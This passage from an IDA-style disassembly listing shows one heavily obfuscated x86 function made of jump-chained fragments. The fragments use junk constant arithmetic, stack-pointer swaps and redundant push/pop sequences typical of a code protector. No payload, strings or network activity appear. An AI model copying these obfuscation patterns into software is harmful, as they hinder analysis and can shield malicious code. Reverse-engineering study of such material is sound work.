; ---------------------------------------------------------------------------


loc_59478C:				; CODE XREF: sub_58A891+EEDDj
		push	edx
		jmp	loc_593969
; ---------------------------------------------------------------------------


loc_594792:				; CODE XREF: sub_58A891+CCC6j
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+0]
		jmp	loc_59147D
; ---------------------------------------------------------------------------


loc_5947A5:				; CODE XREF: sub_58A891+F145j
		push	esp
		jmp	loc_596364
; ---------------------------------------------------------------------------


loc_5947AB:				; CODE XREF: sub_58A891+4947j
		pop	dx
		jmp	loc_59ACD9
; ---------------------------------------------------------------------------


loc_5947B2:				; CODE XREF: sub_58A891+F46Aj
		dec	esi
		jmp	loc_592122
; ---------------------------------------------------------------------------


loc_5947B8:				; CODE XREF: sub_58A891+78DAj
		add	esp, 4
		push	eax
		mov	al, 1Ch
		push	dx
		mov	dl, al
		inc	dl
		mov	al, dl
		pop	dx
		add	al, 79h
		xor	al, 0A4h
		xor	al, 0F6h
		add	bl, 7Eh
		add	bl, al
		sub	bl, 7Eh
		mov	eax, [esp+12h+var_14+2]
		add	esp, 4
		add	bl, al
		jmp	loc_59B6BA
; ---------------------------------------------------------------------------


loc_5947E6:				; CODE XREF: sub_58A891+E70Ej
		sub	dl, 0DEh
		mov	al, dl
		pop	edx
		mov	bl, 6
		jmp	loc_58FE08
; ---------------------------------------------------------------------------


loc_5947F3:				; CODE XREF: sub_58A891+AD18j
		xchg	ebx, [esp+0Ah+var_C+2]
		jmp	loc_59023F
; ---------------------------------------------------------------------------


loc_5947FB:				; CODE XREF: sub_58A891+7172j
		xor	edi, 6ADB65A9h
		sub	esp, 4
		jmp	loc_592B48
; ---------------------------------------------------------------------------


loc_59480C:				; CODE XREF: sub_58A891+3DA2j
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+44h+var_46+2]
		pop	esp
		jmp	loc_59953F
; ---------------------------------------------------------------------------


loc_594820:				; CODE XREF: sub_58A891+ECE3j
		and	edx, 49D6113Eh
		sub	edx, 2FF20009h
		sub	ebx, edx
		pop	edx
		jmp	loc_590D6B
; ---------------------------------------------------------------------------


loc_594834:				; CODE XREF: sub_58A891+C703j
		mov	[esp+3Ch+var_3C], ecx
		mov	ecx, 2
		jmp	loc_595B41
; ---------------------------------------------------------------------------


loc_594841:				; CODE XREF: sub_58A891+A990j
		mov	esp, [esp+3Ch+var_3C]
		mov	[esp+3Ch+var_3C], ebp
		push	eax
		push	ebp
		mov	ebp, ebx
		mov	eax, ebp
		pop	ebp
		mov	ebp, eax
		jmp	loc_59B538
; ---------------------------------------------------------------------------


loc_594855:				; CODE XREF: sub_58A891+F24Dj
		add	ecx, 1E147C44h
		pop	ebp
		xchg	ecx, [esp+3Ch+var_3C]
		pop	esp
		mov	[esp+38h+var_38], edx
		mov	dl, 0A2h
		jmp	loc_5928FE
; ---------------------------------------------------------------------------


loc_59486A:				; CODE XREF: sub_58A891+F935j
		shl	esi, 5
		push	ecx
		mov	ecx, 6EB760CBh
		push	ebx
		mov	ebx, 318C0E98h
		dec	ebx
		xor	ebx, 63277B72h
		and	ecx, ebx
		jmp	loc_59175A
; ---------------------------------------------------------------------------


loc_594887:				; DATA XREF: sub_58A891+3B1Fo
		push	[esp+8+var_8]
		mov	eax, [esp+0Ch+var_C]
		jmp	loc_59699A
; ---------------------------------------------------------------------------


loc_594892:				; CODE XREF: sub_58A891+5BF5j
		pop	esp
		movsx	ecx, al
		push	384Bh
		mov	[esp+1Ch+var_1C], ecx
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_5948A3:				; CODE XREF: sub_58A891+A366j
					; sub_58A891+B2E2j
		add	ebp, 4
		xchg	ebp, [esp+1Ch+var_1C]
		pop	esp
		jmp	loc_5908BC
; ---------------------------------------------------------------------------


loc_5948AF:				; CODE XREF: sub_58A891+96A1j
		pop	ebp
		add	esp, 4
		jmp	locret_590302
; ---------------------------------------------------------------------------


loc_5948BB:				; CODE XREF: sub_58A891+617Bj
		add	ebp, 4
		add	ebp, 4
		jmp	loc_593665
; ---------------------------------------------------------------------------


loc_5948CC:				; CODE XREF: sub_58A891+AB39j
		push	3A65416Ah
		pop	ecx
		jmp	loc_596CA8
; ---------------------------------------------------------------------------


loc_5948D7:				; CODE XREF: sub_58A891+4DD2j
		xchg	edi, [esp+44h+var_46+2]
		jmp	loc_59250C
; ---------------------------------------------------------------------------


loc_5948DF:				; CODE XREF: sub_58A891+ECFAj
		sub	al, bh
		jmp	loc_5976DE
; ---------------------------------------------------------------------------


loc_5948E6:				; CODE XREF: sub_58A891+E615j
		push	ebp
		mov	ebp, 19272543h
		dec	ebp
		xor	ebp, 52F0409Ch
		jmp	loc_597EC0
; ---------------------------------------------------------------------------


loc_5948F8:				; CODE XREF: sub_58A891+B664j
		push	eax
		push	30E276DEh
		pop	eax
		xor	eax, 2DCA6ABDh
		jl	loc_59234C
		not	eax
		sub	eax, 8751A418h
		jmp	loc_599022
; ---------------------------------------------------------------------------


loc_594916:				; CODE XREF: sub_58A891+F63Fj
		sub	esp, 4
		jmp	loc_59231C
; ---------------------------------------------------------------------------


loc_594921:				; CODE XREF: sub_58A891+5ECDj
		pop	ebx
		jmp	loc_59A1C0
; ---------------------------------------------------------------------------


loc_594927:				; CODE XREF: sub_58A891+1073Dj
		mov	ebp, 5B1D34B3h
		jmp	loc_595054
; ---------------------------------------------------------------------------


loc_594931:				; CODE XREF: sub_58A891+106E9j
		sub	bl, al
		sub	bl, 37h
		sub	bl, 0D1h
		jmp	loc_59846A
; ---------------------------------------------------------------------------


loc_59493E:				; DATA XREF: sub_58A891+3A03o
		lodsd
		cmp	dword ptr [edi+20h], 0
		jz	loc_5957B2
		add	esi, 7EE7444Ah
		push	ecx
		mov	ecx, 7FC267FBh
		add	esi, ecx
		pop	ecx
		jmp	loc_59A757
; ---------------------------------------------------------------------------


loc_59495D:				; CODE XREF: sub_58A891+6A0Fj
		mov	eax, 0E83752Ah
		inc	eax
		jmp	loc_5902A1
; ---------------------------------------------------------------------------


loc_594968:				; CODE XREF: sub_58A891+5F19j
		mov	ecx, ebx
		jmp	loc_58FBA1
; ---------------------------------------------------------------------------


loc_59496F:				; CODE XREF: sub_58A891+5AA6j
		mov	ebx, esp
		push	ecx
		mov	ecx, 1C50280Dh
		jmp	loc_58E5C5
; ---------------------------------------------------------------------------


loc_59497C:				; CODE XREF: sub_58A891+F325j
		push	3F68h
		mov	[esp+30h+var_30], esi
		pop	edi
		mov	esi, [esp+2Ch+var_2C]
		add	esp, 4
		sub	edi, 8F86F97Eh
		jmp	loc_59124F
; ---------------------------------------------------------------------------


loc_594996:				; CODE XREF: sub_58A891+100D4j
		add	ebx, 4
		xchg	ebx, [esp+28h+var_28]
		pop	esp
		add	al, dl
		jmp	loc_598360
; ---------------------------------------------------------------------------


loc_5949A7:				; CODE XREF: sub_58A891+10568j
		pop	[esp+24h+var_24]
		push	eax
		not	[esp+24h+var_24]
		pop	eax
		xor	[esp+20h+var_20], eax
		xor	eax, [esp+20h+var_20]
		xor	[esp+20h+var_20], eax
		mov	ebp, [esp+20h+var_20]
		add	esp, 4
		xchg	eax, ebp
		push	edi
		jmp	loc_59BB66
; ---------------------------------------------------------------------------


loc_5949C8:				; CODE XREF: sub_58A891+546Dj
		push	eax
		sub	esp, 4
		mov	[esp+48h+var_4A+2], ebx
		jmp	loc_599EFB
; ---------------------------------------------------------------------------


loc_5949D7:				; CODE XREF: sub_58A891+A1F3j
		pop	ebx
		add	eax, 331754B1h
		add	eax, ebp
		jmp	loc_595C48
; ---------------------------------------------------------------------------


loc_5949E4:				; CODE XREF: sub_58A891+FC05j
		push	esi
		jmp	loc_595661
; ---------------------------------------------------------------------------


loc_5949EA:				; CODE XREF: sub_58A891+D642j
		and	ch, 0BDh
		jl	loc_591FE1
		push	edx
		mov	dl, 69h
		jmp	loc_5965FA
; ---------------------------------------------------------------------------


loc_5949FB:				; CODE XREF: sub_58A891+AAABj
		mov	[esp+4Ch+var_4E+2], ebx
		jmp	loc_59B093
; ---------------------------------------------------------------------------


loc_594A03:				; CODE XREF: sub_58A891+69F7j
		mov	ax, 0
		jmp	loc_58EFBD
; ---------------------------------------------------------------------------


loc_594A0C:				; CODE XREF: sub_58A891+EFEEj
		xchg	eax, esi
		xor	eax, esi
		jmp	loc_590888
; ---------------------------------------------------------------------------


loc_594A14:				; CODE XREF: sub_58A891+C197j
		push	[esp+2+var_4+2]
		jmp	loc_58EC77
; ---------------------------------------------------------------------------


loc_594A1C:				; CODE XREF: sub_58A891+BF49j
		mov	[esp+6+var_8+2], esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+6+var_8+2]
		mov	esp, [esp+6+var_8+2]
		pop	[esp+6+var_8+2]
		jmp	loc_58FD03
; ---------------------------------------------------------------------------


loc_594A38:				; DATA XREF: sub_58A891+3B77o
		mov	ax, word ptr [esp+8+var_8]
		push	1938h
		mov	[esp+0Ch+var_C], ebp
		jmp	loc_59AABB
; ---------------------------------------------------------------------------


loc_594A49:				; CODE XREF: sub_58A891+CB04j
		mov	edi, [esp+0Ch+var_C]
		jmp	loc_59BA93
; ---------------------------------------------------------------------------


loc_594A51:				; CODE XREF: sub_58A891+F109j
		mov	edx, 64CD62C4h
		shl	edx, 7
		jmp	loc_5910C7
; ---------------------------------------------------------------------------


loc_594A5E:				; CODE XREF: sub_58A891:loc_58FE42j
		add	ecx, 21EB54C5h
		jns	loc_591298
		neg	ecx
		jmp	loc_58EA64
; ---------------------------------------------------------------------------
		push	eax
		mov	ah, bh
		push	eax


loc_594A75:				; CODE XREF: sub_58A891+CED4j
		shr	esi, 1
		jmp	loc_594E38
; ---------------------------------------------------------------------------


loc_594A7C:				; CODE XREF: sub_58A891+10FF3j
		sub	ebx, 6CFF2933h
		mov	ebp, ebx
		jmp	loc_5949D7
; ---------------------------------------------------------------------------


loc_594A89:				; CODE XREF: sub_58A891+5500j
		xor	ebp, 50084371h
		push	edi
		mov	edi, 482C270Bh
		jmp	loc_590B3B
; ---------------------------------------------------------------------------


loc_594A9A:				; CODE XREF: sub_58A891+D5BCj
		pop	edi
		and	[edi+1Ch], ecx
		mov	ecx, [esp+14h+var_14]
		add	esp, 4
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_594AAC:				; CODE XREF: sub_58A891+552Ej
		sub	esi, edi
		pop	edi
		mov	ebx, 2C86354Bh
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_5933A1
; ---------------------------------------------------------------------------


loc_594AC2:				; CODE XREF: sub_58A891+6248j
		mov	edi, eax
		jmp	loc_59A9B3
; ---------------------------------------------------------------------------


loc_594AC9:				; CODE XREF: sub_58A891+10B40j
		mov	ebx, [esp+14h+var_14]
		add	esp, 4
		inc	ebx
		jmp	loc_592467
; ---------------------------------------------------------------------------


loc_594AD5:				; CODE XREF: sub_58A891+A7A6j
		add	bx, 55B3h
		jns	loc_59ACE4
		inc	bx
		push	eax
		mov	ax, 1DE8h
		add	ax, 533Bh
		add	ax, 1F77h
		jmp	loc_5905CF
; ---------------------------------------------------------------------------


loc_594AF4:				; CODE XREF: sub_58A891+8685j
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+48h+var_4A+2]
		pop	esp
		sub	esi, 1CEB6C08h
		add	esi, eax
		add	esi, 1CEB6C08h
		jmp	loc_5916C1
; ---------------------------------------------------------------------------


loc_594B14:				; CODE XREF: sub_58A891+587Cj
		inc	dh
		not	dh
		sub	dh, 0F5h
		jmp	loc_593B78
; ---------------------------------------------------------------------------


loc_594B20:				; CODE XREF: sub_58A891+7FDCj
		add	edi, ebx
		pop	ebx
		xchg	edi, [esp+20h+var_20]
		pop	esp
		jmp	loc_5988A8
; ---------------------------------------------------------------------------


loc_594B2C:				; CODE XREF: sub_58A891+4668j
		mov	ecx, [esp+40h+var_40]
		sub	esp, 4
		jmp	loc_58F07C
; ---------------------------------------------------------------------------


loc_594B37:				; CODE XREF: sub_58A891+918Bj
		pop	esp
		jmp	loc_597885
; ---------------------------------------------------------------------------


loc_594B3D:				; CODE XREF: sub_58A891+EB90j
		shr	ecx, 0Bh
		push	ebx
		sub	esp, 4
		mov	[esp+0], esi
		push	ebx
		jmp	loc_591A82
; ---------------------------------------------------------------------------


loc_594B4D:				; DATA XREF: sub_58A891+3AFBo
		lodsd
		push	684h
		mov	[esp+0Ch+var_C], ebx
		jmp	loc_592A95
; ---------------------------------------------------------------------------


loc_594B5B:				; CODE XREF: sub_58A891+D161j
		pop	esp
		xor	[esp+8+var_8], eax
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_594B64:				; CODE XREF: sub_58A891+897Fj
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+1Ah+var_1C+2]
		mov	esp, [esp+1Ah+var_1C+2]
		pop	eax
		and	ecx, ebp
		pop	ebp
		shr	ecx, 0Ah
		jmp	loc_5990F7
; ---------------------------------------------------------------------------


loc_594B7E:				; CODE XREF: sub_58A891+C1F4j
		add	edx, 4
		jmp	loc_592973
; ---------------------------------------------------------------------------


loc_594B86:				; CODE XREF: sub_58A891+A674j
		sub	[esp+12h+var_C+2], ecx
		pop	ecx
		pop	ecx
		mov	eax, [esp+0Ah+var_C+2]
		jmp	loc_59327A
; ---------------------------------------------------------------------------


loc_594B94:				; CODE XREF: sub_58A891+C87Cj
		dec	ecx
		sub	ecx, 16773F68h
		add	ebx, ecx
		mov	ecx, [esp+0Ah+var_C+2]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+0Eh+var_10+2]
		pop	esp
		sub	ebx, 4
		xchg	ebx, [esp+0Ah+var_C+2]
		mov	esp, [esp+0Ah+var_C+2]
		mov	[esp+0Ah+var_C+2], eax
		mov	eax, esp
		push	ebp
		push	esi
		mov	esi, 3EDE020Ch
		mov	ebp, esi
		pop	esi
		add	ebp, 0C121FDF8h
		add	eax, ebp
		pop	ebp
		add	eax, 2
		jmp	loc_590463
; ---------------------------------------------------------------------------


loc_594BDB:				; CODE XREF: sub_58A891+F426j
		xchg	ebx, [esp+0Ah+var_C+2]
		pop	esp
		jmp	loc_5951C0
; ---------------------------------------------------------------------------


loc_594BE4:				; CODE XREF: sub_58A891+F92Aj
		sub	esp, 4
		mov	[esp+0Ah+var_C+2], ebx
		jmp	loc_591C3E
; ---------------------------------------------------------------------------


loc_594BEF:				; CODE XREF: sub_58A891+10BD3j
		push	ebp
		mov	ebp, 201C97Eh
		sub	esi, ebp
		jmp	loc_5948A3
; ---------------------------------------------------------------------------


loc_594BFC:				; CODE XREF: sub_58A891+B5BCj
		mov	ebp, 2DEB16DDh
		add	ebp, 2EB1355Ah
		and	ebp, 726B4BBFh
		inc	ebp
		jmp	loc_595129
; ---------------------------------------------------------------------------


loc_594C13:				; CODE XREF: sub_58A891+FD61j
		mov	esi, 7AF3086Eh
		shl	esi, 2
		sub	esi, 0B29B32DBh
		add	ebp, esi
		mov	esi, [esp+0Eh+var_10+2]
		add	esp, 4
		xor	edi, ebp
		jmp	loc_5910D3
; ---------------------------------------------------------------------------


loc_594C30:				; CODE XREF: sub_58A891+AD01j
		jo	loc_595A3B
		jmp	loc_58F036
; ---------------------------------------------------------------------------


loc_594C3B:				; CODE XREF: sub_58A891:loc_59038Ej
		inc	ebx
		jmp	loc_5912FD
; ---------------------------------------------------------------------------


loc_594C41:				; CODE XREF: sub_58A891+BC46j
		mov	esi, 2F523534h
		sub	[esp+34h+var_30], esi
		pop	esi
		jmp	loc_58E5AB
; ---------------------------------------------------------------------------


loc_594C50:				; CODE XREF: sub_58A891+C1A4j
		add	ebx, 4
		xchg	ebx, [esp+30h+var_30]
		jmp	loc_5912E6
; ---------------------------------------------------------------------------


loc_594C5E:				; CODE XREF: sub_58A891+9CD2j
		jnz	loc_5996CB
		shl	edx, 7
		jns	loc_5975F3
		push	ecx


loc_594C6E:				; CODE XREF: sub_58A891+F6E3j
		pop	ecx
		jmp	loc_59261F
; ---------------------------------------------------------------------------


loc_594C74:				; CODE XREF: sub_58A891+89C9j
		add	esp, 4
		pop	ebx
		push	edi
		jmp	loc_5914F4
; ---------------------------------------------------------------------------


loc_594C81:				; CODE XREF: sub_58A891+8AF5j
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		push	edx
		push	[esp-8+arg_4]
		pop	edx
		jmp	loc_59A61A
; ---------------------------------------------------------------------------


loc_594C9B:				; CODE XREF: sub_58A891+95BEj
		add	ebp, 4
		jmp	loc_597E19
; ---------------------------------------------------------------------------


loc_594CA6:				; CODE XREF: sub_58A891+F7C2j
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_594CAB:				; CODE XREF: sub_58A891+BCE3j
		shr	edi, 3
		xchg	edx, edi
		not	edx
		xchg	edx, edi
		xor	edi, 7F913D7Eh
		push	ecx
		mov	ecx, 77913123h
		add	ecx, 0F07654B8h
		jmp	loc_599849
; ---------------------------------------------------------------------------


loc_594CCB:				; CODE XREF: sub_58A891+7C12j
		jmp	loc_58E9FC
; ---------------------------------------------------------------------------


loc_594CD0:				; CODE XREF: sub_58A891+DA37j
		mov	[esp+14h+var_14], esi
		mov	esi, 56C07B83h
		neg	esi
		shr	esi, 2
		push	edx
		mov	edx, 4FA04BCEh
		jmp	loc_59393B
; ---------------------------------------------------------------------------


loc_594CE8:				; CODE XREF: sub_58A891+734Dj
		push	esi
		mov	esi, 524559E8h
		not	esi
		push	ebp
		mov	ebp, 15DC2A5Ah
		sub	ebp, 68218445h
		sub	esi, ebp
		pop	ebp
		add	ebp, 2A342E4h
		sub	ebp, 1B07E36h
		add	ebp, esi
		add	ebp, 1B07E36h
		sub	ebp, 2A342E4h
		pop	esi
		xchg	ebp, [esp+44h+var_46+2]
		pop	esp
		jmp	loc_59A27B
; ---------------------------------------------------------------------------


loc_594D23:				; CODE XREF: sub_58A891+5EF9j
		xor	ecx, 82879E67h
		sub	ebx, 29B55931h
		add	ebx, ecx
		add	ebx, 29B55931h
		pop	ecx
		sub	ebx, 4
		push	ebx
		push	[esp+18h+var_14]
		jmp	loc_58E57F
; ---------------------------------------------------------------------------


loc_594D48:				; CODE XREF: sub_58A891+518Ej
		push	edi
		mov	edi, esp
		jmp	loc_5902EF
; ---------------------------------------------------------------------------


loc_594D50:				; CODE XREF: sub_58A891+EA32j
		mov	[esp+28h+var_28], ecx
		pop	dword ptr [eax]
		jmp	loc_59AFC2
; ---------------------------------------------------------------------------


loc_594D5A:				; CODE XREF: sub_58A891+76F0j
		xor	ebx, 0E9A1608h
		add	ebp, ebx
		pop	ebx
		add	ebp, 53A42A1h
		sub	eax, ebp
		pop	ebp
		jmp	loc_59001D
; ---------------------------------------------------------------------------


loc_594D71:				; CODE XREF: sub_58A891+9770j
		add	edi, 4
		push	354Eh
		mov	[esp+0], ebp
		mov	ebp, 4
		add	edi, ebp
		jmp	loc_5941CB
; ---------------------------------------------------------------------------


loc_594D8B:				; CODE XREF: sub_58A891+CDD1j
		mov	ebx, 27D70457h
		jmp	loc_59B680
; ---------------------------------------------------------------------------


loc_594D95:				; CODE XREF: sub_58A891+3CE9j
		push	esp
		jmp	loc_599A06
; ---------------------------------------------------------------------------


loc_594D9B:				; CODE XREF: sub_58A891+82C9j
		add	esp, 4
		xchg	edx, [esp-18h+arg_E+2]
		mov	esp, [esp-18h+arg_E+2]
		push	[esp-18h+arg_E+2]
		pop	eax
		push	ecx
		jmp	loc_5980CC
; ---------------------------------------------------------------------------


loc_594DAE:				; CODE XREF: sub_58A891+9AE3j
		push	[esp+8+var_8]
		jmp	loc_5964F2
; ---------------------------------------------------------------------------


loc_594DB6:				; CODE XREF: sub_58A891:loc_5919C2j
					; sub_58A891+F366j
		shl	bl, 6
		jnp	loc_59752B
		add	bl, 40h
		jbe	loc_591DCE
		push	6895h
		mov	[esp+0Eh+var_10+2], edx
		jmp	loc_58F114
; ---------------------------------------------------------------------------


loc_594DD5:				; CODE XREF: sub_58A891+4820j
		add	ecx, ebp
		add	ecx, 1C322CA0h
		sub	ecx, 3B80316Ah
		push	[esp+30h+var_30]
		pop	ebp
		add	esp, 4
		xchg	ecx, [esp+2Ch+var_2C]
		mov	esp, [esp+2Ch+var_2C]
		mov	ax, word ptr [esp+2Ch+var_2C]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	ebp
		mov	ebp, 4C6E7951h
		shl	ebp, 2
		inc	ebp
		neg	ebp
		jmp	loc_59201D
; ---------------------------------------------------------------------------


loc_594E11:				; CODE XREF: sub_58A891:loc_58F374j
		or	eax, 719310BFh
		jmp	loc_599426
; ---------------------------------------------------------------------------


loc_594E1B:				; CODE XREF: sub_58A891+CC68j
		pop	ecx
		mov	edi, esi
		pop	esi
		sub	[esp+24h+var_20], edi
		mov	edi, [esp+24h+var_24]
		jmp	loc_58FB0E
; ---------------------------------------------------------------------------


loc_594E2B:				; CODE XREF: sub_58A891+EF5Fj
		mov	esp, [esp+24h+var_24]
		bt	[esp+24h+var_24], eax
		pushf
		jmp	loc_595242
; ---------------------------------------------------------------------------


loc_594E38:				; CODE XREF: sub_58A891+A1E6j
		push	ebp
		mov	ebp, 44AE03D1h
		xor	ebp, 1C32285Dh
		or	esi, ebp
		mov	ebp, [esp+18h+var_18]
		add	esp, 4
		neg	esi
		and	esi, 1FA234A0h
		push	edi
		jmp	loc_599309
; ---------------------------------------------------------------------------


loc_594E5A:				; CODE XREF: sub_58A891+3D46j
		push	ecx
		jmp	loc_59639F
; ---------------------------------------------------------------------------


loc_594E60:				; CODE XREF: sub_58A891+B8D9j
		push	[esp+3Ch+var_3C]
		jmp	loc_590335
; ---------------------------------------------------------------------------


loc_594E68:				; CODE XREF: sub_58A891+78E2j
		mov	ebp, 74B463ADh
		jmp	loc_597AAB
; ---------------------------------------------------------------------------


loc_594E72:				; CODE XREF: sub_58A891+C056j
		xchg	ecx, [esp+12h+var_14+2]
		pop	esp
		jmp	loc_5994C5
; ---------------------------------------------------------------------------


loc_594E7B:				; CODE XREF: sub_58A891+3ECDj
		jns	loc_596C00
		jmp	loc_58E793
; ---------------------------------------------------------------------------
		shr	bl, 7
		mov	ebx, ebp
		pop	ecx


loc_594E8C:				; CODE XREF: sub_58A891+F821j
		sub	esp, 4
		jmp	loc_597F6E
; ---------------------------------------------------------------------------


loc_594E94:				; DATA XREF: sub_58A891+3B63o
		mov	cx, word ptr [esp+8+var_8]
		push	edx
		mov	edx, esp
		jmp	loc_5932B6
; ---------------------------------------------------------------------------


loc_594EA0:				; CODE XREF: sub_58A891+7CA2j
		mov	ecx, 5F5C7F83h
		or	edx, ecx
		pop	ecx
		push	ebx
		mov	ebx, 7BEC13D3h
		push	ebp
		mov	ebp, 0E412EBC0h
		add	ebx, 121556CBh
		add	ebx, ebp
		sub	ebx, 121556CBh
		pop	ebp
		sub	edx, ebx
		jmp	loc_595AB6
; ---------------------------------------------------------------------------


loc_594ECA:				; CODE XREF: sub_58A891+633Fj
		mov	ecx, [esp+1Eh+var_20+2]
		add	esp, 4
		shl	eax, 6
		push	esi
		jmp	loc_59A2F4
; ---------------------------------------------------------------------------


loc_594EDC:				; CODE XREF: sub_58A891+76D2j
		push	edx
		jmp	loc_58FD1C
; ---------------------------------------------------------------------------


loc_594EE2:				; CODE XREF: sub_58A891+B4FDj
		add	esp, 4
		push	4AC3h
		jmp	loc_594F74
; ---------------------------------------------------------------------------


loc_594EEF:				; CODE XREF: sub_58A891+D977j
		xor	edx, 12FA41FFh
		jz	loc_595134
		inc	edx
		xor	edx, 0AD30D8Fh
		mov	ecx, edx
		pop	edx
		jmp	loc_594B86
; ---------------------------------------------------------------------------


loc_594F0A:				; CODE XREF: sub_58A891:loc_58F166j
		neg	dh
		jno	loc_599711
		add	dh, 54h
		jmp	loc_591313
; ---------------------------------------------------------------------------
		mov	ebp, esp
		push	edi
		mov	cl, dh
		mov	ecx, edi


loc_594F21:				; CODE XREF: sub_58A891+B8A3j
		neg	eax
		inc	eax
		jmp	loc_58EDE6
; ---------------------------------------------------------------------------


loc_594F29:				; CODE XREF: sub_58A891+C0F6j
		add	ebp, 4
		push	ebx
		push	eax
		mov	eax, 47241D4Bh
		jmp	loc_5961D4
; ---------------------------------------------------------------------------


loc_594F3B:				; CODE XREF: sub_58A891+5F7Aj
		mov	edx, [esp-0Ch+arg_4]
		push	eax
		jmp	loc_592CF9
; ---------------------------------------------------------------------------


loc_594F44:				; CODE XREF: sub_58A891:loc_58F857j
		sub	esp, 4
		mov	[esp+18h+var_18], edx
		push	78AC1179h
		pop	edx
		sub	edx, 3751059Ch
		xor	edx, 78775044h
		shl	edx, 7
		push	eax
		mov	eax, 1D7E2FF7h
		add	eax, 0E530EC59h
		xor	edx, eax
		jmp	loc_594F9D
; ---------------------------------------------------------------------------


loc_594F74:				; CODE XREF: sub_58A891+A659j
		mov	[esp+14h+var_14], ebp
		mov	ebp, esp
		jmp	loc_598352
; ---------------------------------------------------------------------------


loc_594F7E:				; DATA XREF: sub_58A891+3AEBo
		push	[esp+8+var_8]
		push	[esp+0Ch+var_C]
		pop	ecx
		push	4682h
		mov	[esp+10h+var_10], ebx
		mov	ebx, esp
		push	eax
		mov	eax, 4
		add	ebx, eax
		pop	eax
		jmp	loc_59338B
; ---------------------------------------------------------------------------


loc_594F9D:				; CODE XREF: sub_58A891+411Bj
					; sub_58A891+A6DEj
		pop	eax
		or	edx, 34AE098Ah
		push	esi
		mov	esi, 342C39D6h
		sub	edx, esi
		pop	esi
		jmp	loc_59B9E1
; ---------------------------------------------------------------------------


loc_594FB2:				; CODE XREF: sub_58A891+D434j
		pop	ecx
		add	ebx, 4
		jmp	loc_595FA0
; ---------------------------------------------------------------------------


loc_594FBB:				; CODE XREF: sub_58A891:loc_58F407j
					; sub_58A891+102CBj
		add	esp, 4
		sub	ebp, 609432C1h
		dec	ebp
		add	ebp, 5FB8FD7Bh
		add	ebx, 18F77293h
		add	ebx, ebp
		sub	ebx, 18F77293h
		pop	ebp
		xor	ebx, [esp+38h+var_38]
		jmp	loc_596E5B
; ---------------------------------------------------------------------------


loc_594FE2:				; CODE XREF: sub_58A891+EC41j
		push	ebp
		jmp	loc_592BCD
; ---------------------------------------------------------------------------


loc_594FE8:				; DATA XREF: sub_58A891+39C3o
		lodsd
		push	ecx
		push	eax
		push	297A1397h
		pop	eax
		neg	eax
		jg	loc_5916A8
		sub	eax, 2C810B7Fh
		jl	loc_591931
		jmp	loc_5941A4
; ---------------------------------------------------------------------------
		sub	ebx, edx
		pop	edx
		mov	ah, cl
		pop	ebp
		mov	cx, word ptr [esp+8+var_8]
		push	edx
		push	esp
		pop	edx
		push	esi
		mov	esi, 4
		add	edx, esi
		jmp	loc_597A0F
; ---------------------------------------------------------------------------


loc_595023:				; CODE XREF: sub_58A891+7DE7j
		or	[edi+1Ch], eax
		push	[esp-0Ch+arg_4]
		pop	eax
		sub	esp, 4
		jmp	loc_5954C5
; ---------------------------------------------------------------------------


loc_595032:				; CODE XREF: sub_58A891+777Ej
		add	bx, 0D89h
		jnz	loc_594AD5
		add	bx, 55B3h
		jns	loc_5951A7
		inc	bx
		push	eax
		pop	esi


loc_59504C:				; CODE XREF: sub_58A891+C695j
		sub	esp, 4
		jmp	loc_595FE1
; ---------------------------------------------------------------------------


loc_595054:				; CODE XREF: sub_58A891+A09Bj
		and	ebp, 67D97656h
		add	ebp, 70F11FBDh
		add	ebp, 75A01FABh
		shr	ebp, 4
		push	ecx
		mov	ecx, 29AA733h
		xor	ebp, ecx
		pop	ecx
		add	esi, 35332337h
		add	esi, ebp
		sub	esi, 35332337h
		mov	ebp, [esp+14h+var_14]
		add	esp, 4
		add	esi, 4
		xchg	esi, [esp+10h+var_10]
		mov	esp, [esp+10h+var_10]
		movzx	ecx, al
		sub	esp, 4
		mov	[esp+14h+var_14], eax
		push	71AFh
		jmp	loc_59AF9F
; ---------------------------------------------------------------------------


loc_5950A5:				; CODE XREF: sub_58A891+68D7j
		add	eax, 23D4A20Ah
		add	ecx, eax
		pop	eax
		sub	ecx, 4
		xchg	ecx, [esp+40h+var_40]
		mov	esp, [esp+40h+var_40]
		mov	[esp+40h+var_40], edx
		mov	edx, esp
		jmp	loc_5964BF
; ---------------------------------------------------------------------------


loc_5950C0:				; CODE XREF: sub_58A891+7BC6j
		mov	ebp, esp
		jmp	loc_591B3B
; ---------------------------------------------------------------------------


loc_5950C7:				; CODE XREF: sub_58A891+540Bj
		add	ebp, esi
		push	[esp+40h+var_40]
		pop	esi
		add	esp, 4
		jmp	loc_591D05
; ---------------------------------------------------------------------------


loc_5950D8:				; CODE XREF: sub_58A891+8EA3j
		push	ebx
		push	ebp
		pop	ebx
		mov	ebp, [esp+8+var_8]
		add	esp, 4
		push	32A6h
		mov	[esp+8+var_8], eax
		push	7B01h
		jmp	loc_5971DE
; ---------------------------------------------------------------------------


loc_5950F3:				; CODE XREF: sub_58A891+F8DDj
		add	edi, esi
		pop	esi
		sub	ebp, edi
		pop	edi
		add	eax, ebp
		jmp	loc_598EC7
; ---------------------------------------------------------------------------


loc_595100:				; CODE XREF: sub_58A891+829Bj
		push	[esp+14h+var_14]
		mov	ecx, [esp+18h+var_18]
		push	edx
		mov	edx, esp
		add	edx, 4
		push	eax
		mov	eax, 4
		add	edx, eax
		pop	eax
		xchg	edx, [esp+1Ch+var_1C]
		pop	esp
		push	4825h
		mov	[esp+1Ch+var_1C], ebp
		jmp	loc_58F430
; ---------------------------------------------------------------------------


loc_595129:				; CODE XREF: sub_58A891+A37Dj
		sub	ebp, 50084834h
		jmp	loc_59802C
; ---------------------------------------------------------------------------


loc_595134:				; CODE XREF: sub_58A891+A664j
		inc	edx
		xor	edx, 0AD30D8Fh
